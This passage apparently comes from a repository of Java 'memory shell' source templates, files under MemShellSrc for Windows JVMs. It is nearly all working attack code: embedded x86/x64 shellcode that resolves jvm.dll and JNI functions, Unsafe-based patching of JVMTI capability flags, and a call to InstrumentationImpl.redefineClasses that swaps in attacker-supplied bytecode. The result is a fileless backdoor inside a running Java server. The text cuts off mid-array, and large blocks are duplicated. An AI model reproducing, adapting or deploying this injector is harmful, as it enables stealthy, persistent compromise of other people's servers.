buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf = replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
for (Method m:result.getDeclaredMethods())
{
if (m.getName().equals("run"))
{
m.invoke(result, buf);
}
}
}
finally {
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
unsafe.putByte(native_jvmtienv + 205, (byte) 2);
unsafe.putByte(native_jvmtienv + 209, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
}
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
================================================
FILE: MemShellSrc/WindowsAgentMemShellBeyondJDK8
================================================
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class AgentMemShell extends ClassLoader {
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static int pointerLength={{var3}};
static {
try {
AgentForWindows("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void AgentForWindows (String className,byte[] classBody) throws Exception {
String classStr = "yv66vgAAADQALwoABwAeCAAfCgAgACEF//////////8IACIHACMKAAsAJAcAJQoACQAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB2VucXVldWUBAD0oSltCTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylWAQAKRXhjZXB0aW9ucwcAKAEAC29wZW5Qcm9jZXNzAQAEKEkpSgEAA3J1bgEABShbQilWAQANU3RhY2tNYXBUYWJsZQcAJQcAKQcAKgEAClNvdXJjZUZpbGUBABdWaXJ0dWFsTWFjaGluZUltcGwuamF2YQwADAANAQAGYXR0YWNoBwArDAAsAC0BAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAwAEAARAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwALgANAQAjc3VuL3Rvb2xzL2F0dGFjaC9WaXJ0dWFsTWFjaGluZUltcGwBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YS9sYW5nL1Rocm93YWJsZQEAAltCAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEACwAHAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABQGIABAAEQABABIAAAAEAAEAEwEIABQAFQABABIAAAAEAAEAEwAJABYAFwABAA4AAAC/AAYABAAAADoSArgAAxQABCoSBhIGA70AB7gACKcAJUwrtgAKpwAdTRQABCoSBhIGA70AB7gACKcACE4ttgAKLL+xAAMABQAUABcACQAAAAUAHwAAACAALwAyAAkAAgAPAAAANgANAAAACwAFAA4AFAARABcADwAYABAAHAASAB8ADQAgAA4ALwARADIADwAzABAANwASADkAEwAYAAAAHwAFVwcAGUcHABr/ABIAAwcAGwAHABoAAQcAGQT5AAEAAQAcAAAAAgAd";
Class result = new AgentMemShell().get(Base64.getDecoder().decode(classStr));
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf = replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
for (Method m:result.getDeclaredMethods())
{
if (m.getName().equals("run"))
{
m.invoke(result, buf);
}
}
}
finally {
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
unsafe.putByte(native_jvmtienv + 205, (byte) 2);
unsafe.putByte(native_jvmtienv + 209, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 377, (byte) 2);
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
unsafe.putByte(native_jvmtienv + 369, (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
}
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
================================================
FILE: MemShellSrc/WindowsAgentMemShellBeyondJDK8WithTpl
================================================
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class AgentMemShell extends ClassLoader {
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static int pointerLength={{var3}};
static {
try {
AgentForWindows("{{var1}}", Base64.getDecoder().decode("{{var2}}"));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void AgentForWindows (String className,byte[] classBody) throws Exception {
String classStr = "yv66vgAAADQALwoABwAeCAAfCgAgACEF//////////8IACIHACMKAAsAJAcAJQoACQAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAB2VucXVldWUBAD0oSltCTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylWAQAKRXhjZXB0aW9ucwcAKAEAC29wZW5Qcm9jZXNzAQAEKEkpSgEAA3J1bgEABShbQilWAQANU3RhY2tNYXBUYWJsZQcAJQcAKQcAKgEAClNvdXJjZUZpbGUBABdWaXJ0dWFsTWFjaGluZUltcGwuamF2YQwADAANAQAGYXR0YWNoBwArDAAsAC0BAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAwAEAARAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwALgANAQAjc3VuL3Rvb2xzL2F0dGFjaC9WaXJ0dWFsTWFjaGluZUltcGwBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQATamF2YS9sYW5nL1Rocm93YWJsZQEAAltCAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEACwAHAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABQGIABAAEQABABIAAAAEAAEAEwEIABQAFQABABIAAAAEAAEAEwAJABYAFwABAA4AAAC/AAYABAAAADoSArgAAxQABCoSBhIGA70AB7gACKcAJUwrtgAKpwAdTRQABCoSBhIGA70AB7gACKcACE4ttgAKLL+xAAMABQAUABcACQAAAAUAHwAAACAALwAyAAkAAgAPAAAANgANAAAACwAFAA4AFAARABcADwAYABAAHAASAB8ADQAgAA4ALwARADIADwAzABAANwASADkAEwAYAAAAHwAFVwcAGUcHABr/ABIAAwcAGwAHABoAAQcAGQT5AAEAAQAcAAAAAgAd";
Class result = new AgentMemShell().get(Base64.getDecoder().decode(classStr));
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(